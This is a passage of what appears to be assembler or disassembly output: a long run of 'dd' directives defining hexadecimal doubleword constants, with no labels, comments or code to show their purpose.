57AABB36h dd 99F381F8h, 0FE4F5719h, 6BB99711h, 0C8E04DFDh, 78860F15h dd 3AE7869h, 1342BC5Eh, 1890DBD9h, 1CDE4054h, 2420C0Ch dd 6D38C015h, 0F9F90026h, 0A6F84936h, 0D8ADCC6Bh, 76E91025h dd 0BB248AEAh, 95ABB5CCh, 569F3FE7h, 3199DE01h, 0A0109494h dd 229AB2F9h, 5D1EE899h, 822D52F9h, 0F7414942h, 15C6C65Ah dd 6269BC34h, 0BDFF91BAh, 7C33C5D7h, 0C8F4B95Ch, 861289A1h dd 0E31C7A43h, 0AC416D2Ch, 343BA24Bh, 0F61C48C5h, 1ED78286h dd 0AA166B7Dh, 0A52B5B75h, 43043F7Ch, 0E181036Eh, 1BE91867h dd 0F24954B6h, 0DBFC5922h, 0F48004EDh, 9182D307h, 0A53927E3h dd 14530B5Ah, 26EE09E2h, 0F4AFFF41h, 417B8A37h, 6C9D0581h dd 0DC7D2ECCh, 57038598h, 655BB978h, 723D9A4Bh, 1D34EA79h dd 0A34A709Fh, 0D343051Fh, 198902B7h, 0BBAD6F8Ch, 4CEC5A8Fh dd 8AC576F6h, 0B34AA939h, 86CA7857h, 2A184347h, 0BFFD13AAh dd 3177B920h, 0D856D465h, 0E5104F54h, 0E769651Dh, 8EA6EEDAh dd 3CB3EB26h, 63077ECAh, 2C1D9529h, 3843473Eh, 612F4D1Eh dd 0E5D6D740h, 0A9867CD3h, 531F4732h, 8A1EE379h, 26E19861h dd 0BD234533h, 0BA774C94h, 0EE81C383h, 0FAD836D0h, 0A41F5D10h dd 0ED090FFDh, 1B63D15Fh, 83E834EFh, 2D7EABE1h, 0F24C3B38h dd 0C52EDCE8h, 919FB86Dh dd 0C802385Ah, 0F3F8A811h, 1F1C5F60h, 481628A9h, 5B7EA26Eh dd 0A48C6DBDh, 64C4CE03h, 5C7BFE8Ah, 0C560FAC2h, 0C4E9BE50h dd 0B7A3E093h, 7068F5BCh, 5874AB46h, 0A902FC8Bh, 0E6EBE004h dd 499E48E6h, 89F49687h, 2A5CECADh, 37C341EDh, 0C5674712h dd 0A0BAFF11h, 9B459CCh, 3E0F78CAh, 0AF6BC79Fh, 404C7CFEh dd 4A2DCC53h, 0C617A299h, 0A36E3EE6h, 1B06CF1Dh, 210B9148h dd 0CA8B7560h, 0ACE34CF0h, 1FB5CE56h, 0A14A03F5h, 0B7A76C8Fh dd 531EBBC6h, 14BD1FF8h, 592E135Eh, 60DA8480h, 257878CEh dd 0C6996565h, 99BEEED6h, 0A3483DA6h, 0CF6BF74Ch, 90CE80BCh dd 0E8952854h, 0C5AC567Eh, 57A9C5E0h, 0C2D3863Ah, 0D5E05FCEh dd 74E90CE5h, 12468EEBh, 5382BFCCh, 9197FC14h, 0B8A2641Bh dd 904349F8h, 0AB9017D8h, 38998001h, 0F7F1C94Ah, 0B2EF35E4h dd 457D3E2Bh, 860935DEh, 0BCC77632h, 12DF5C55h, 0B80B92DEh dd 0EE0704FEh, 1D69652Dh, 0A36DFC6Fh, 0D2564DBCh, 821C6D86h dd 0E6745898h, 1C5BE971h, 263AA751h, 0BC7D6C49h, 0CFBF3F24h dd 9CA6ACBFh, 8610AB77h, 9D977C8Bh, 7BDBC84Bh, 43537B6Fh dd 31880A76h, 404C72C5h, 0C23CC70Ah, 8FADAA41h, 291148F9h dd 0F9A5AA1Ah, 7DF0DEB7h, 409DCE0Fh, 0AD2A85D0h, 0B7B7DC24h dd 6A5EFA98h, 5E2A0B70h, 974F1C03h, 8A2D6D19h, 0B86C7932h dd 25E60F62h, 47BE4354h, 0BCBA52FAh, 0ABCD8E4Dh, 0F2F157A8h dd 8DD8865Fh, 27288696h, 0B38668EBh, 0E838330Fh, 9B990F97h dd 1E029111h, 10C547AAh, 0FF1DF5B3h, 0EA786884h, 0DF98A8C1h dd 0DA2F55ADh, 0CDFA7285h, 0AA1BF139h, 0F93F7022h, 1A91F16Dh dd 0AE327917h, 72B5A102h, 0B07004BEh, 0EF93013Ch, 9849CC7h dd 0D81E7D0h, 56634B18h, 2A613EE5h, 0C63939E9h, 0C82F561Dh dd 0B11D9F9Ch, 0C874147h, 980AB191h, 0E077C068h, 0F572E132h dd 825A5189h, 37DB837Eh, 0B26B3680h, 0D5478F3h, 5979CB5Ah dd 1EB4E98Dh, 2D1BA4ABh, 0F0E9C861h, 0ACF8FC89h, 0F85B99DEh dd 0CA9FA83Eh, 4B0DAF1Fh, 0B1EB600Ch, 0C88FB438h, 80CCFA0Eh dd 0E71D435Dh, 0E18E4782h, 0CE1F3514h, 286FDD00h, 2B76700Ah dd 253F15A9h, 0D572D0A7h, 0DABE030Fh, 86B613BFh, 368C87ABh dd 0A3940C0Fh, 5C7E401h, 0A3761A47h, 1389B567h, 3B5BB76h dd 3D226AA9h, 0A4B4464Dh, 0AE58E457h, 64294550h, 2341978Dh dd 0B3A7A476h, 0FF5397D3h, 41A025FBh, 99628A87h, 43DB7BC9h dd 0E6405752h, 0D7672A01h, 69F094A1h, 953C6F2Ah, 0F43DFE7Bh dd 82D77F0Fh, 0A247B06Ch, 0F862F32h, 864B8C0h, 351E468Eh dd 63DC5680h, 578D49BCh, 7464694Eh, 0C5793687h, 3168900Fh dd 3512A08Dh, 82766C55h, 9CBB895h, 0BA2CC420h, 62B1E2CDh dd 5CBEF9A8h, 3171AEEFh, 720A31D9h, 6E826C05h, 53E35676h dd 0BCAEF6EAh, 0E0969891h, 85DCE89Eh, 8829240Bh, 613AEE25h dd 0A6EBA0EBh, 0BF67344Ch, 6D613BAEh, 0FDA26202h, 11DAB32h dd 0E00C9449h, 24E95D4Dh, 85D92B83h, 15BFEA03h, 1DB41459h dd 3C2BB6F2h, 92633341h, 0A51F0D12h, 386CDE4Fh, 2935FAADh dd 7B978534h, 0E0621C92h, 0F09A7692h, 39C69A00h, 0A7BC2BD7h dd 6CBE1027h, 1A887ED7h, 4630AA81h, 0CCE3E2F2h, 0CFB21AD8h dd 734DC335h, 3F2EC109h, 3D128F02h, 5B51D433h, 0D0272E11h dd 871390C5h, 478024DBh, 99698A17h, 0D2B9EC15h, 3CFC57DDh dd 84552EC0h, 0EB259512h, 13314733h, 0BA58A93Bh, 84F8A00Eh dd 873F3CD2h, 2B83A732h, 7E647CC0h, 951DA48Eh, 2A9F1A6Dh dd 0B91AFC5Dh, 0BF4488E2h, 49F89DEBh, 4368D445h, 0A2F2A738h dd 7E90E8FDh, 0AE2F3DFCh, 45E53660h, 6FB00537h, 8EC89424h dd 206791D2h, 0A4F49972h, 0E16F0EFCh, 8C0D5B69h, 61DD2669h dd 0E6320284h, 519E1F8h, 44832420h, 51CAD151h, 28FBCECBh dd 889037A4h, 8BC8ACB2h, 3FF9DE2h, 2EF0B58h, 0AA3B79F3h dd 99EBDADDh, 0FCA7F494h, 0F53F1AF2h, 0AB977428h, 0BBA6A3F5h dd 8A196A8Dh, 0E7E54EBCh, 2D5E25F0h, 9917AEABh, 408278F2h dd 9A81E3FAh, 0DB9BF3DDh, 0B0280B20h, 5C75D2A6h, 1A08152Ah dd 3EF2377Dh, 0FB776081h, 0D36CBA98h, 93CA17DDh, 844AB1D8h dd 0B7B8DABh, 95C45F5Fh, 0AB60EB2Eh, 4A12B8D7h, 0C93997FEh dd 0CD0DB9D3h, 0B0A98634h, 8EF20DEDh, 3E710255h, 0D35FC29Dh dd 0FECB80C2h, 5BC0298h, 0B1B413DBh, 0ABB3F0Eh, 0F284993Bh dd 55DA66Bh, 0E366232Dh, 3D252613h, 8C8C87CCh, 51DB0237h dd 0D1E78A07h, 0E480281Fh, 0D1053CE3h, 493A72Dh, 69AE3DD7h dd 7A4CC21Fh, 2FD3C74Eh, 626CD2C2h, 3150B4AAh, 0F8E4F145h dd 960CA4DEh, 3657F602h, 3B1CBD89h, 8A69E87Eh, 0EEE4384h dd 0FC18E581h, 577BD99Bh, 5FEBFDE1h, 284FC1FBh, 1DC4CEECh dd 0E1BC968Dh, 0EC7148ADh, 7DD7DEA3h, 9FFAE4EEh, 0F9351AD9h dd 0C059EB23h, 0A5B28EBEh, 94061446h, 0BF431F79h, 0BBF682A8h dd 321F3497h, 0E1612893h, 6967CAC2h, 992F7C8Dh, 7EA84F57h dd 8D9A0C58h, 0C2760B10h, 0B061EA4Ah, 7EC0ED33h, 490B5491h dd 7EC77B37h, 0F7FC821Bh, 0F51012DFh, 225D02FBh, 0EE444A27h dd 0C74F83C6h, 9D389C31h, 3F37C3C4h, 4E86C045h, 0E5D11369h dd 15B56DCBh, 0DDEB155Bh, 0C91330Ah, 0DF393CDEh, 705B83BCh dd 38F71854h, 0C02CD708h, 9AF38A3Bh, 0DA885CBDh, 0E32AB2DEh dd 0D26544D9h, 320249F2h, 0F0B3AB3Dh, 831B7ECDh, 0BA6CCC9Dh dd 0BCE0C3ECh, 91E8C251h, 444670B6h, 61E0CAADh, 0F500A4F1h dd 9FEBD3A5h, 1D306A0Dh, 0A87ED4DCh, 0A0C4B17Ch, 37EB29B2h dd 3E0EDFF0h, 0A7182A3Fh, 0A03AF7Dh, 0D953A90h, 22EE071Eh dd 9F6088A4h, 0DED1D379h, 0EA98C707h, 0A0D826C7h, 8ED2E805h dd 0FD999F2Ch, 0FE88BD80h, 9CADEB8Ah, 3BF45C84h, 54443496h dd 612BBADAh, 19912F71h, 4A24E7B7h, 0A693F2FAh, 5D2049D3h dd 57E1C40Eh, 0C4EB9C99h, 0EA5EE342h, 23325E02h, 4B8A4B8Fh dd 3CC14A7h, 0CCC1183Bh, 731FA29h, 0C5DE8ED3h, 842E2AC2h dd 937DB6C6h, 0AB18FADh, 0D13C790Dh, 0FFA45AB8h, 10C485Dh dd 0B54774A5h, 8AA7E190h, 0A3B9A6F1h, 65240F7Ah, 0E96921F9h dd 0CAD17533h, 3580A002h, 1512C112h, 0F9FF0AD5h, 1F289ED6h dd 0CFA51BC3h, 0A8E8BFAh, 0DF797191h, 298DCF28h, 6CEA2F0Fh dd 88C14508h, 4652A33Ch, 7D084038h, 54B71028h, 0C088DA13h dd 1FE0AC74h, 503E1FD8h, 9A263D3Ah, 453389Dh, 96433DCh dd 835DE575h, 0EF3D34D3h, 654E1817h, 0A84B64A1h, 3D62DD76h dd 0EE8D56D9h, 6F8BB093h, 0CF704F0Eh, 3A673171h, 7249879Eh dd 21431168h, 302B919Bh, 0E3D4B9DCh, 8FBBF9BEh, 888A9FEEh dd 8BDC5792h, 0E2E46E65h, 0A4C19h, 6078AFADh, 0E5C8C5B3h dd 5D461CF4h, 0BCDF730h, 0DB1879ABh, 868B19A3h, 1C007C66h dd 855D4F4Ch, 9F05E56Ah, 0BD2E4266h, 2EAAF457h, 7C125078h dd 41B3175Dh, 7CDEE8DAh, 5FA24C44h, 45D67A95h, 0A6FDCAB6h dd 1FB2FF39h, 0CD9E6795h, 0B0DC2A2Bh, 0BB4845A3h, 884FE45Dh dd 0EBEEF6F9h, 0D6C3313Bh, 0ADED372Dh, 7A3AEDFFh, 0C927BEB7h dd 0DB437B8Ah, 0E7947DEAh, 728BD081h, 1703A6ECh, 52F9DDA3h dd 13030F0Eh, 0DA8EBEABh, 0A4B284E6h, 9B9ED40Fh, 0B63C2D76h dd 0D0A455DAh, 0BEEF40BFh, 0E2CC896Ch, 0B32F2CBFh, 0AB8C6480h dd 71E3C07h, 0BB254232h, 1C9BA667h, 2212454Fh, 60CF0437h dd 52EC4D5Ah, 0C7178428h dd 7482D23Ah, 8ED86649h, 0E75A40DCh, 0DCAAF3D3h, 0B7989E96h dd 3A258A17h, 31A00CC7h, 85BE93BFh, 77203CC8h, 0FD7F6082h dd 64E5DD99h, 82F6FBA1h, 77117580h, 5F8C2D9Dh, 0B99F7F34h dd 6FC45FD0h, 9BF5D7A8h, 72EF3318h, 5E0F7A5h, 92B6443Ch dd 0E17D881Ah, 46F8EDB4h, 59E221E6h, 27534941h, 0A9DA001Ah dd 0C3D5145h, 1CD8F378h, 5E231015h, 0E6FE8C09h, 5DA70E03h dd 0B14A1EFAh, 0B49ED62Dh, 172854C5h, 0C9097602h, 0CC72305Ch dd 0D1430CA4h, 984DCE9Dh, 3483C0E5h, 7AE4BA24h, 12FEFEC3h dd 83F9CC9Bh, 0B32B4B82h, 378AAEC8h, 0D14CDEFFh, 57DEE386h dd 0D0BD73B9h, 4FCE3CF3h, 0E50C4AEDh, 2D77604Ah, 9D27DB5Bh dd 849CCC5Eh, 0EAD3294Eh, 0A28BBAD2h, 0A2DA8308h, 0F7299588h dd 373ECBBFh, 0A80ECC43h, 0BCB2AFFCh, 0D7C2BCF6h, 655823EEh dd 0B1985FD9h, 0C9043930h, 2E9DBD78h, 0F223E4AFh, 0BD6641CAh dd 7921D18Dh, 996A0583h, 7FDF8C7Ah, 8C186587h, 1787115Bh dd 457E55F3h, 0BE4DCBF1h, 4BA9FD3Bh, 4B0C7076h, 82705DA9h dd 8277710Dh, 0A32EC818h, 508C7D9h, 7F50FE38h, 5466E4F9h dd 0E847CB10h, 0E8746C88h, 27E3E0h, 0FF1D28FDh, 0D5254C09h dd 3BE397BFh, 55D868BBh, 0E79DF820h, 0D49F8FCCh, 0A61D8B83h dd 0A0630B89h, 359DF033h, 0E4981046h, 28F7312Fh, 0D4ED7F92h dd 929C1AD7h, 0D858DE93h, 0E31218h, 0F792280Dh, 0DB837D7h dd 0F11A01A6h, 0D4ACC973h, 3C407B1Dh, 0C866A913h, 9489BEA0h dd 3ADF3CEBh, 6A603395h, 88CBD80Ah, 28D1189Eh, 4E132C6h dd 2A29CABFh, 0E77B27AEh, 28F3688Bh, 445EDF81h, 0D56334F3h dd 95C3EF49h, 37B60D72h, 3693AA6Ah, 0FAA4DCA8h, 8C88CBDFh dd 0C8DBB823h, 386880Bh, 653CA327h, 89092239h, 0E0856E9Ah dd 18D17866h, 0AE43BCC3h, 0A2ED5E83h, 0BAE4CC1Ah, 79BFA244h dd 0ED20EFA5h, 7B0EC696h, 0ED09B4BFh, 8BF58953h, 8DF6095Dh dd 5E4C0D2Dh, 49337BA9h, 92774619h, 8676534Ah, 207D3087h dd 82A9212Eh, 0A15A66F8h, 0A102BE48h, 704F8381h, 3C66DF00h dd 3B9886Eh, 8296EC00h, 0A58C192Fh, 0C530FBAh, 0B6667CC2h dd 0EE793389h, 98D8006h, 0BA2ACDECh, 4FE693A6h, 0E13CFF26h dd 0CBA503AAh, 6632D40Dh, 6C8D939Dh, 0CCA8B8CAh, 0EC5E7383h dd 0E18EAD1h, 511516C4h, 66C61CEh, 0C47DF6B7h, 714CC47Eh dd 1C388181h, 0A6A5D247h, 0FD16A615h, 0A8404867h, 35324D6Bh dd 0A5017768h, 58575B99h, 8427EB64h, 89225CEFh, 51876B8h dd 3A77DE8Eh, 0E2F858A7h, 239B3C70h, 5672DEF1h, 0E1327231h dd 620E38FDh, 5378EEFBh, 0A2933938h, 88405A7Fh, 4C0F0F4Dh dd 0EF67F93Ch, 0AD3FD15Ah, 0B629463Ch, 91A57806h, 3031A47Dh dd 2C01B2E8h, 0F6A28AF7h, 6D2B250Bh, 124EA3D9h, 38D3F942h dd 0A36D164Ch, 66884BFDh, 62E98CA9h, 7D476992h, 5A00E836h dd 24C23C60h, 61B7954Dh, 8AD147B7h, 0FD37F28Fh, 0BB14469Bh dd 6ED2B918h, 3CF0DF5Eh, 9741ECFCh, 390BDB97h, 0A3424449h dd 613977BDh, 1AF71216h, 0FF51E8F7h, 5E61DD66h, 79763F4Fh dd 30E85788h, 0A8B27EBCh, 0FC17EDD3h, 0AF48C2Dh, 46BCC33Fh dd 9C7F4EAEh, 66A2C0ADh, 2882C92Dh, 0F4D0181Bh, 6E088E9Dh dd 12FE6802h, 786BD2BEh, 0BB3025A3h, 0D7107C8Ah, 0E37E2232h dd 0F55E63F3h, 9E17993h, 0E484BEAh, 0C3C48402h, 49FC0E78h dd 0E3442610h, 618B95B8h, 0B43AB1A2h, 0F33C9C3h, 2B2B137Eh dd 26A43F8Eh, 4E2FB28Dh, 3C7E200Eh, 5C515D69h, 2AE61EABh dd 0FD12C599h, 42840C43h, 80C6C9E1h, 8BBE5D1Bh, 0C9E5B7A4h dd 0BEBF16F6h, 0E056243Eh, 0F1C4E1A1h, 7146CDD5h, 0DC8C9A41h dd 0C77EDCA2h, 5CC04D92h, 795ADC75h, 0C92F5FE3h, 986D5306h dd 2ACA8408h, 0F6A9BEB7h, 94D978FCh, 6D448DC8h, 4546905Ch dd 2FBBDD81h, 4615040h, 685287CFh, 5010F5B6h, 0DF39A3D0h dd 0DA06A797h, 80E72389h, 73E0C08Ch, 0E26940D7h, 3F0B38Dh dd 1DEE7B06h, 88FB3F08h, 0A8392C42h, 4DD1D58Ch, 72FC0AC3h dd 51C2F974h, 5210F044h, 0FC5C0074h, 2328799Bh, 1C80A7E2h dd 66B26EC9h, 1E4DFF62h, 1B3A9DE5h, 73D36FBDh, 711A9D9Ah dd 0CD947E58h, 997BB887h, 4C2E062Ch, 0C7EC9D56h, 0E77432AAh dd 7536BE17h, 740FBBBEh, 4CE82F81h, 1AA11197h, 0B9C59F66h dd 32FB5B70h, 9BAB8D15h, 0E4B1F785h, 0C20917CFh, 0E6C2FF40h dd 0BED8D9FFh, 2C760D89h, 0E471E409h, 35E7B77Eh, 9CF6DDA0h dd 0FA8DFAD1h, 7B3949CBh, 782482ADh, 80BB505Ch, 0A9C7A940h dd 1FA964EDh, 19361C9Ch, 0C801F63Eh, 3D0845Eh, 0CE9200E9h dd 0DD2FB9B4h, 3DB1DCBAh, 0FC3F0614h, 466AEEBBh, 0F088F42Ch dd 0E296ADF2h, 9DF63AE4h, 2373E732h, 6627102Eh, 65209A81h dd 59CD514Bh, 0C33F273h, 4E007491h, 0C63163B0h, 7882C787h dd 36DACC53h, 61F5603Eh, 71C0FF09h, 830B8BFBh, 0AF9DC07h dd 3FFCF1F7h, 733E2136h, 0CFF4EC27h, 24CF7E5Fh, 0A1439D09h dd 9E80E2E9h, 0F4FDDA7Dh, 0CB99228Eh, 79CAAC09h, 11E69F7Bh dd 0FDB943Ah, 7CDA685Bh, 1E9245Ah, 0ED187D1Dh, 8F95DCD3h dd 0FD15A048h, 472F6F2Fh, 0AAC492B1h, 585542F1h, 8CEB3B0h dd 0C5F482F1h, 243F50AEh, 2BE9656Bh, 0BC8A2641h, 59B29538h dd 12E8B967h, 7D2C7CDh, 0C6671276h, 10994144h, 0BE80FFB9h dd 0D6340091h, 0E9C92637h, 0FA16A218h, 0C3A49BA9h, 663117EFh dd 470AA65Fh, 5E063A88h, 0A1C12F04h, 2A47E1EAh, 1022E145h dd 0E5FAD5E6h, 811A358h, 0CC6DA20Bh, 26AF1BF2h, 15F4A509h dd 18FADCA4h, 75C5C00Eh, 0AA50EEC0h, 343F3C20h, 758FDEBBh dd 9FE9C94Bh, 0C647F5DBh, 0C48A8C5Dh, 20ABA2D0h, 62BAEA7h dd 335A0286h, 0B9787398h, 0BBED528h, 65EBD6FEh, 9174AC41h dd 0D4A2DCDBh, 565F2BEh, 7632C018h, 0B9953D1Eh, 60131E08h dd 3DD52CC2h, 2031358Eh, 0D3F47CB4h, 24B2B475h, 0AB165684h dd 3EE4E209h, 0DAA57A69h, 1CC04590h, 196E1594h, 985BF124h dd 8B1DEE55h, 86105362h, 0D0F680B7h, 0ED7DBD6Eh, 79478ACCh dd 9D3A5A0Bh, 6DE183C1h, 0A4731A56h, 0D5C17132h, 0FAEC84FFh dd 0A5B8BCA9h, 3F26E8E6h, 9B68B190h, 6B5A0584h, 28B5F238h dd 23FE75EDh, 0C4D41F76h, 268DFC92h, 0C5C91697h, 24B41C09h dd 0DA78A18Dh, 75C360C0h, 8FB309D6h, 591085D9h, 0FEB9C801h dd 8DF86B8Ch, 2D024h, 0FF9A4DFAh, 0B8F5038h, 0A1859CEEh dd 18C93794h, 0EA1E99A1h, 0E095EA8h, 32324CD5h, 2D5ECF7Ch dd 0A7EE8361h, 0D7BF85C1h, 946634E2h, 62FE1501h, 42C60E93h dd 8EA5640Fh, 0AE5497ADh, 0BB335171h, 5CFCC15Ch, 0F1C5F38Ch dd 4D2D0E8Eh, 0DD0EAF88h, 0B377A1E7h, 6F709431h, 6046D408h dd 7F2AB4A4h, 613B320h, 0C89D62E2h, 7F64AE1Eh, 0F1F5E1C9h dd 0C02E1527h, 8810AC60h, 39266010h, 5717A74Fh, 14F5B3DDh dd 43BF35D7h, 36DC0B53h, 0BE1E7101h, 0E52E9E20h, 0B4C1B3BDh dd 0CBA4E8B9h, 4E1960C5h, 0D7D7A6C7h, 60BBBC72h, 0D5CE3D3Dh dd 722F3BB3h, 0A440BFA5h, 2E5B4D42h, 0E2E5F97h, 65A3B994h dd 4148EB33h, 5F748DD3h, 0B4CD79C7h, 4BBA10EAh, 16DD50F4h dd 0CCCC6A38h, 2435AB80h, 0B28CD485h, 6DDDB77Eh, 0CF3B94DBh dd 216B09EAh, 3A15AFECh, 79D1493h, 706E70DAh, 5965CB76h dd 802CD581h, 0CE0C8A2Ah, 0B55585A5h, 7A1608E9h, 63B1332Ah dd 0A3ED0EE6h, 85A6A111h dd 0B024445Ch, 0E2172CF5h, 0A1611EB4h, 9F8D56CBh, 44A60C24h dd 9C591508h, 0BAA159B1h, 95EDFDC1h, 1720885Eh, 0F5547BE4h dd 70E9400h, 119286F0h, 4AE6E56Dh, 54A00ACDh, 0CEEA81D7h dd 33DF8C94h, 695806DFh, 0A672E30Ah, 8E6C2BE9h, 8DD4A851h dd 1F7BE41Eh, 1B0C0B49h, 0DC54058Ah, 2DEF9771h, 0D6C99B5Ch dd 69D87BEEh, 0F8E41671h, 4371B808h, 0B2AC0E1Bh, 1ED003FFh dd 0E9CBBEBBh, 0A4DDB2AAh, 0D391E694h, 7CE4B8B4h, 811B45E8h dd 663B0ACBh, 8F0A5AE2h, 0E32C93BFh, 1A1DB3B0h, 0AAE1EB96h dd 73D7BF6Ah, 6EF63B50h, 0ED5B97h, 41FCE994h, 70950Dh dd 0B8A3F847h, 41F8F527h, 1850B6EDh, 0C2E4B54Ch, 0B5BB7702h dd 0FE256A7Eh, 44D579Ch, 0B01168A0h, 0DBE454D6h, 161CFDD8h dd 0C06344h, 6C18C403h, 642C1487h, 21D23669h, 1AA05D42h dd 98351ADEh, 273E92EEh, 8F94F9A6h, 0E6ECD7B2h, 0B4D9ACD6h dd 0DA5BC2D7h, 9DC95600h, 0E0838621h, 0A48D9CF4h, 0BE211E9Bh dd 881FAF8h, 85F9F693h, 35448A5Dh, 2B4F4E7Dh, 779F4E5Eh dd 2583708Fh, 467923DDh, 0EC393927h, 0B0F6C1BDh, 6CE28CD7h dd 48B8DEDDh, 0ACE85383h, 7C8E091Ah, 124F2BF2h, 4EB8874Fh dd 0E7CC9DEEh, 512FC5A7h, 2C125430h, 0DE216430h, 465C20E3h dd 0F21293C6h, 0CF62ABE6h, 0AE77CE2Dh, 177E7336h, 20D6402Ch dd 3CE58896h, 8E3FE6FAh, 8954FC32h, 7AE83D23h, 825B4E0Dh dd 2E538A9Eh, 87563A06h, 84ACCA6Ah, 0A6E66A1Eh, 0ACE7A1C5h dd 0EAFBC531h, 9ACE6B69h, 65802295h, 742C973Bh, 7A813E82h dd 98259A28h, 0B947B5D1h, 289BFC77h, 34CB9A5Dh, 2817ED0Fh dd 37F02E2Dh, 0D5F233AAh, 2C93B462h, 22F33EC8h, 0BF2C981Dh dd 417D734Dh, 0B5DF50FBh, 0B1ADA85Dh, 0E819FCB3h, 0B2841D30h dd 7E5C2A5Ch, 0B3868710h, 0AC50AEAh, 0B2FBACEAh, 0E72A2E14h dd 690808B3h, 0AC6DC60Ah, 80C2D1CCh, 9CA51E93h, 0AB63E2h dd 1D80CE3Eh, 51B09B22h, 644DABF1h, 939EACDCh, 0C6F78CFFh dd 449EB30Bh, 0ADD61A3Ah, 8980258Ch, 6863FBEFh, 5B825FB4h dd 4805777h, 36CC7A2h, 5EBF358Dh, 0D04AEC48h, 0DE2F1783h dd 0A8D82A17h, 7E562A1Ch, 8A98FAC4h, 0B0161EE7h, 168C9BBh dd 4BA43352h, 0A4322E7Dh, 4F927B11h, 7E3E000h, 0CF898998h dd 5AADEC32h, 77816D40h, 0C3E2AD62h, 0C2DA8E0Dh, 0F2E477DEh dd 0E617BD74h, 522E1A1Ch, 4EB6E3E0h, 0B4FB5577h, 0A605EA97h dd 3826AFECh, 8BBB5092h, 8F2656EEh, 0E8C22A6Dh, 0FE866243h dd 8337B999h, 24011D63h, 0D85616Fh, 57C8928Bh, 0D76C54D3h dd 0CDE5ACD3h, 0BC9F9C23h, 23F766E8h, 0C8EA0151h, 0FFD2B6DDh dd 0D3107B9Ch, 4612A419h, 0CDA92848h, 0F3A02C4Bh, 96605D16h dd 0A37AA85Ah, 8E66025Dh, 0CAF59006h, 0BC9AE6DDh, 0F2DA09BDh dd 6E99066Eh, 0E50E63FCh, 665570EBh, 1866AA91h, 0D28AD4E7h dd 0A6489931h, 0A54BA071h, 0BB90CDBAh, 3633260Ch, 0C4007464h dd 0ADE64792h, 2EF1FDDBh, 981D7239h, 0E05B43ABh, 29BB25F1h dd 0D273324Fh, 5E6EC179h, 0C4C57824h, 4FD47DACh, 0A0060C1Ah dd 0A6CC231Dh, 0DD78746h, 0FF21D8A4h, 6386A319h, 243AAF4Ch dd 0AECF495Bh, 6BA3DAFDh, 12C756A1h, 4B7DA1F8h, 0E6AAEA20h dd 946B14EBh, 26B3D453h, 607D65D6h, 96004146h, 99D77ECBh dd 0A74B5C54h, 33396278h, 763F11BEh, 52BC51h, 7D6559E0h dd 6B9595E9h, 0FCAFDE24h, 0C597C665h, 4F30F777h, 0B030DD6Dh dd 0D7D0E6CEh, 0B3138112h, 0AFADFDC1h, 0B41EE8C1h, 6A89D794h dd 0F0D9867Fh, 0EA3B11CFh, 3F848CCDh, 6D63089Dh, 6FD675B8h dd 96AFC2BCh, 5E961322h, 0FBC59134h, 92FC7060h, 0A176A416h dd 0F1DEF5EDh, 7577B56Bh, 0D9502AD5h, 0DE570A52h, 5B29795Ah dd 0E9026E8Eh, 0CA554E90h, 0EB9B6987h, 6D082038h, 94A0307Bh dd 3A901C03h, 0CEF5D741h, 2E3F06ECh, 2D5FD85Bh, 67958EF9h dd 85FE3B6Ah, 78C77B4Fh, 65DFF53h, 7F257377h, 8511F28Ah dd 3F2CEB36h, 0A0796B7Bh, 0D90305D7h, 461F2E55h, 0A1A5C0h dd 71DF8659h, 399641A3h, 6E1B7C17h, 0EF482369h, 1B293E2Fh dd 2327D2E0h, 38B80BA9h, 0D4A2F872h, 0DD5EF174h, 9DCD11E4h dd 0FF29DBD5h, 3A7A08DAh, 0CC639A04h, 52966019h, 2D74D871h dd 4B7395AEh, 0FA33334Bh, 0D206899h, 425DA0A5h, 81DF7B9Bh dd 344FA706h, 0FF6B3043h, 0BA52CE58h, 4632CC10h, 2BDEBEF6h dd 2D03C393h, 0FE3CCE2Ah, 60E15E11h, 74EEE6F6h, 9D1DAEB2h dd 2364930h, 0BB3DFA5Bh, 0E37B1D48h, 2EDA7581h, 0F629C830h dd 0EA2C1164h, 9560A696h, 83FF4EC0h, 83618A36h, 93504D46h dd 7BB04DFFh, 7AEBC1FFh, 6576EA0Dh, 452547A5h, 55D1C4Dh dd 0B8455110h, 69BA9E78h, 504BA5E3h, 189251E1h, 0C48523F4h dd 0A3DE69D5h, 2EE02D6Ah, 0D2DB7C49h, 10A032A6h, 0EBF2FC6Ch dd 16850FC9h, 6565E350h, 7F3E8A7Dh, 6ECCCFC9h, 1D3F9DEh dd 0BAB217B2h, 97950D2Fh, 4E3F24D9h, 0DDAE7E86h, 0F327419Bh dd 7A2FFD24h, 1B2D547Ah, 3BE0DCF7h, 0CCE9B54Bh, 0A3BD0112h dd 4287EB06h, 0C8F5FE9Dh, 0D65E0502h, 2D97E230h, 0D3883F46h dd 0CB1DF7F0h, 746F7181h, 0A49C2400h, 0FBC03D20h, 4F45DF47h dd 97C319F4h, 66D46890h, 7D2B7592h, 8CB521D9h, 0F8B72A56h dd 3FC0854Ah, 1F42AC1Bh, 4736C1EDh, 37AD9472h, 749ACB10h dd 0A9DAA5C1h, 3D25B58Fh, 0F560EF0Dh, 0EF114F0Fh, 0E101E2B5h dd 0D267FA36h, 4F65F614h, 615EA49Bh, 0D628595Dh, 0B0FF9368h dd 9D772690h, 1FF70EC3h, 4165AA37h, 0B3527D46h, 0A3335FFh dd 72AC45FFh, 7A56A80Dh, 473564A5h, 0F8D474Dh, 0C0283D14h dd 30F40D04h, 88F94F46h, 4116335Ch, 92A195A7h, 0D9D89BEEh dd 11987F38h, 0A8900031h, 0FC75496Ah, 35FDEA30h, 26CDA994h dd 4E16E679h, 8BDE1775h, 0C3E22A08h, 61A6260Ah, 0D399463Ah dd 0B9928D03h, 0B5A0D223h, 0D54450BBh, 8DD0BE10h, 42FF332Eh dd 0D3DD4399h, 0B025CB5Bh, 85D2C5BDh, 1BFF33EBh, 0FE21F4D2h dd 180431C5h, 0B1CF7488h, 59D3610Ah, 5912A57Dh, 76D4B979h dd 0EFE49E78h, 5C5D1E83h, 0AB7D5F15h, 44BC4598h, 0E9529B4Eh dd 0D733D7F5h, 0F5AC2D1Ch, 6B5BE0E7h, 7CB90B09h, 55277FCh dd 3D15E4Dh, 74C94E0h, 0C35D81FEh, 2526F75Bh, 9160FDB2h dd 0C8E548ABh, 5EE4C994h, 92664407h, 0E19B9494h, 141DFADFh dd 4E1E7C31h, 0CE3DCBCDh, 4152D33Eh, 6C9FE8D6h, 67FD20E3h dd 3395BCC1h, 0B4650033h, 0ECFE7AEEh, 5B8FCD57h, 8A53B71Ch dd 2208F78h, 8EC2F5ACh, 69AA2DA6h, 0C0A5213Ch, 1D696CBBh dd 93994D66h, 70E6AC0Bh, 